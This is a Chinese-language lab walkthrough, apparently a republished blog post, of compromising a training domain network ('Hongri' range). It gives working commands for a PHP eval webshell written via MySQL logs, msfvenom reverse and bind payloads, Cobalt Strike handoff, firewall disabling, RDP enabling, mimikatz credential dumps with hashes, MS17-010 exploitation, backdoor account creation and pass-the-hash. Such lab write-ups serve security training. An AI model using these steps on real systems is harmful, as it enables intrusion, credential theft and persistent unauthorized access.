域渗透实战-红日靶场一
2023-3-3 09:55:37 Author: 藏剑安全(查看原文) 阅读量:26 收藏

1、环境测试以及搭建

实验环境拓扑图如下:

这里是搭建一个最简单的域环境,域控+dmz服务器。

kali(MSF+CS)  :192.168.61.128Windows 2007:192.168.61.201             192.168.52.143Windows 2003:192.168.52.128Windows 2008:192.168.52.138

2、信息收集

1)探测内网存活主机。

netdiscover -i eth0 -r 192.168.61.0/24

2)masscan端口扫描。

masscan 192.168.61.201 -p 1-65535 --rate=1000

重点关注80,3306端口。

3)Nmap端口扫描。

nmap -sC -sV -p 80,3306 192.168.61.201

4)我们访问以下80端口。

5)dirsearch目录爆破。

dirsearch -u http://192.168.61.201/

这里我们扫描出来了phpmyadmin。

1、phpmyadmin弱口令&Getshell

1)我们访问:http://192.168.61.201/phpmyadmin/,来到phpmyadmin页面。

这种页面首先我们的尝试弱口令。

2)接着我们root/root,直接进入phpmyadmin。

3)尝试写shell到服务器,我们首先信息收集,获得绝对路径,查看secure_file_priv状态。

select @@secure_file_priv

结果为空,就不允许导出导入。

我们接着来浅谈一下secure_file_priv状态代表的含义:

secure_file_priv为null                        表示不允许导入导出secure_file_priv指定文件夹时             表示mysql的导入导出只能发生在指定的文件夹secure_file_priv没有设置时                 表示没有任何限制写入文件的时候还需要注意php.ini里面gpc是否开启,开启情况下,特殊字符都会被转义'变成\'

4)既然直接写行不通,尝试日志写shell,查看日志状态以及存储位置:

show global variables like '%general_%'

5)可以看到日志是关闭的,开启日志且更改日志存储位置,尝试写一句话shell。

set global general_log=on;

set global general_log_file="C:/phpStudy/WWW/shell.php"

select'<?php eval($_POST[cmd]);?>'

6)写入一句话,值得注意的是,一句话两边的括号不能和post[]里面的引号一样,会引起mysql判断错误,可以是双引号和单引号结合,也可以里面不加引号。

7)接下来,我们使用蚁剑链接一下我们的shell。

链接地址:http://192.168.61.201/shell.php         

这是第一种得到webshell的方法。

2、网站后台弱口令&Getshell

1)之前在登陆到phpmyadmin的时候,我们发现了newyxcmd,有经验的表哥,知道这是ymcms框架。

2)我们访问:http://192.168.61.201/yxcms/

这里暴露了后台的登陆地址,账号和密码。

3)成功登陆后台。

4)我们寻找到前台模板->管理模板文件->新建。

5)这个文件上传,可以通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径。

http://192.168.61.201/yxcms/protected/apps/default/view/default/webshell.php

1、MSF

1)我们首先生成一个MSF的shell。

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.61.128 LPORT=1234 -f exe -o /home/wangkun/桌面/hack.exe

2)我们将木马文件上传到webshell中,在msf中开启监听。

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.61.128set lport 1234run -j

3)我们接着执行webshell的木马文件。

4)成功回弹shell。

5)进入shell,我们首先需要查看权限,看看是否需要提权,这里是administrator权限,我们就使用简单的getsystem,直接提权到SYSTEM权限了,在实战中,我们还需要通过其他方式进行提权,直到提权只最高权限。

2、MSF联动Cobaltstrike

1)首先我们创建CS的监听器。

2)我们在MSF操作如下。

use exploit/windows/local/payload_injectset payload windows/meterpreter/reverse_httpset DisablePayloadHandler true   #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成set lhost xxxx                 #公网vps ipset lport 14444                 #监听端口 set session 1                   #派发session idexploit

3)成功得到CS的shell。

3、搭建隧道(MSF+proxychains)

1)在横向移动之前,我们可以先将web服务器配置为代理服务器当作跳板机,可以用msf直接搭建隧道,自动创建路由。

run post/multi/manage/autoroute       //配置静态路由run autoroute -p                //查看路由

2)挂起会话,建立socks代理。

use auxiliary/server/socks_proxyoptionsset version 4arun -jjobs

3)修改一下/etc/proxychain4.conf,这里注意我们使用的是socks4。

4、主机发现

1)我们使用arp探测内网存活的主机。

use post/windows/gather/arp_scannerset RHOSTS 192.168.52.0/24set SESSION 1

除了我们拿下的shell外,还得到了两个IP,192.168.52.129,192.168.52.138。

5、利用端口扫描,进一步查看有没有其他漏洞。

use auxiliary/scanner/portscan/tcpset RHOSTS 192.168.52.138

use auxiliary/scanner/portscan/tcpset RHOSTS 192.168.52.129

6、内网信息收集

net view                 # 查看局域网内其他主机名net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user                 # 查看本机用户列表net user /domain         # 查看域用户net localgroup administrators # 查看本地管理员组(通常会有域用户)net view /domain         # 查看有几个域net user 用户名 /domain   # 获取指定域用户的信息net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain    # 查看域中某工作组net group "domain admins" /domain  # 查看域管理员的名字net group "domain computers" /domain  # 查看域中的其他主机名net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1)先判断是否存在域,使用ipconfig /all查看DNS服务器,发现主DNS后缀不为空,存在域god.org,如下图所示。

或者执行命令net config Workstation来查看计算机当前的计算机名称,用户名,系统版本,工作站,域,登陆域等全面信息。

2)上面发现了DNS服务器名为god.org,当前登陆域为GOD,接下来可执行net view /domain查看有几个域(域内可能存在多个域环境)。

3)既然只有一个域,那就利用net group "domain controllers" /domain,来查看域控制器主机名,直接确认域控主机的名称为OWA:

4)已经确认域控主机的名称为OWA,继续执行命令net view查看局域网其他主机信息(主机名称,IP地址),可得知域控主机的IP192.168.61.138。这条命令在CS中执行。

5)局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后确认以下该主机是否也是存在域中,执行命令net group "domain computers" /domain查看域中的其他主机发现包含ROOT-TVI862UBEH,故域内还包含另一个域成员192.168.52.141

6)至此内网的信息收集已经收集完毕,已经明确了域控主机192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向移动拿下域控。

7)接下我,我们查看以下目标主机补丁信息。

run post/windows/gather/enum_patches

只打了四个补丁。

8)查看目标安装软件的信息。

run post/windows/gather/enum_applications

9)进入shell查看防火墙状态。

netsh firewall show state

关闭防火墙netsh firewall set opmode disable              #Windows Server 2003 系统及之前版本netsh advfirewall set allprofiles state off    #Windows Server 2003 之后系统版本

再次查看防火墙开启状态。

10)查看3389是否开启(如果返回空代表没有开放)。

netstat -ano | findstr "3389"

未开启!!!

开启远程桌面。

run getgui -e run post/windows/manage/enable_rdp #两个都可以 在shell下使用以下命令也可REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  # 允许 3389 端口放行 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1                                         #wmic 放行3389端口

proxychains4 rdesktop 192.168.52.143

这里配合mimikatz抓取的密码,远程登陆到主机,这里链接的话,会把靶机挤掉,这里就不链接了。

1、存活探测

1)进入msf的shell里使用cmd命令,遍历存货主机。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

这里可以看到存活3个IP。

2、Mimikatz密码抓取

1)我们在CS中执行->RunMimikatz。

2)得到了明文密码和hash值。

SID               : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87840ac10a764c7362
* NTLM : 8a963371a63944419ec1adf687bb1be5
* SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf
tspkg :
* Username : Administrator
* Domain : GOD
* Password : [email protected]
wdigest :
* Username : Administrator
* Domain : GOD
* Password : [email protected]
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : [email protected]
ssp :
credman :

3、MS17-010

1)之前我们进行use auxiliary/scanner/portscan/tcp,进行端口扫描的时候,发现两台内网主机都开启了445端口,接下我我们对域控192.168.61.138,进行漏洞扫描。

2)我们使用use auxiliary/scanner/smb/smb_ms17_010模块进行扫描,发现存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.138
run

3)我们使用use auxiliary/admin/smb/ms17_010_command模块执行以下命令,看看能否回显。

use auxiliary/admin/smb/ms17_010_commandoptionsset command whoamiset rhosts 192.168.52.138run

成功回显命令。

4)我们使用MS17-010攻击模块中的use exploit/windows/smb/ms17_010_eternalblue木块拿shell。

use exploit/windows/smb/ms17_010_eternalblueset rhosts 192.168.52.138run

无法反弹回来shell。

5)我们回到MS17-010_command模块,set命令开启3389端口,关闭防火墙。

set command netstat -ano | findstr "3389"set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fset command netsh firewall show stateset command netsh advfirewall set allprofiles state off  

6)添加用户,远程连接。

net user admin$ [email protected]#45 /add              新建用户
net user 查看用户
net localgroup administrators admin$ /add 用户添加进管理员
net localgroup administrators 查看管理员组成员

成功,我们远程登陆访问以下。

4、远程连接+正向shell

proxychains4 rdesktop 192.168.52.138

1)我们使用Proxifier来远程到域控机器。

2)我们生成一个正向的shell,发送到目标机器。

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=2222 -o shell.exe

3)正向监听。

set payload windows/meterpreter/bind_tcp

4)拿到shell。

5、CS进行PTH

1)我们已经拿下了Windows7主机,抓取到了它的hash和密码,而我们前面信息收集到另外两台机器开启了445端口,在目标不出网的情况下,可以使用smb beacon使目标主机上线。

2)新建一个监听器,payload选择Beacon SMB,名字随便。

2)我们点击以列表形式展开目标。

3)接着我们点击密码凭证。

拿到凭证信息之后,我们就可以PTH了。

4)我们首先选择域控,Jump->psexec

如下配置:

成功拿下域控。

5)又用同样的方法,拿下域内另一台主机,至此拿下全部的机器。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDA5NzUzNA==&mid=2247484842&idx=2&sn=ca09581832d4b8f231fb45df91d9348b&chksm=cfe09fbbf89716ad00796c5ee58e39115d763803c68d020ecb240303e10aa5f5f45e158df038#rd
如有侵权请联系:admin#unsafe.sh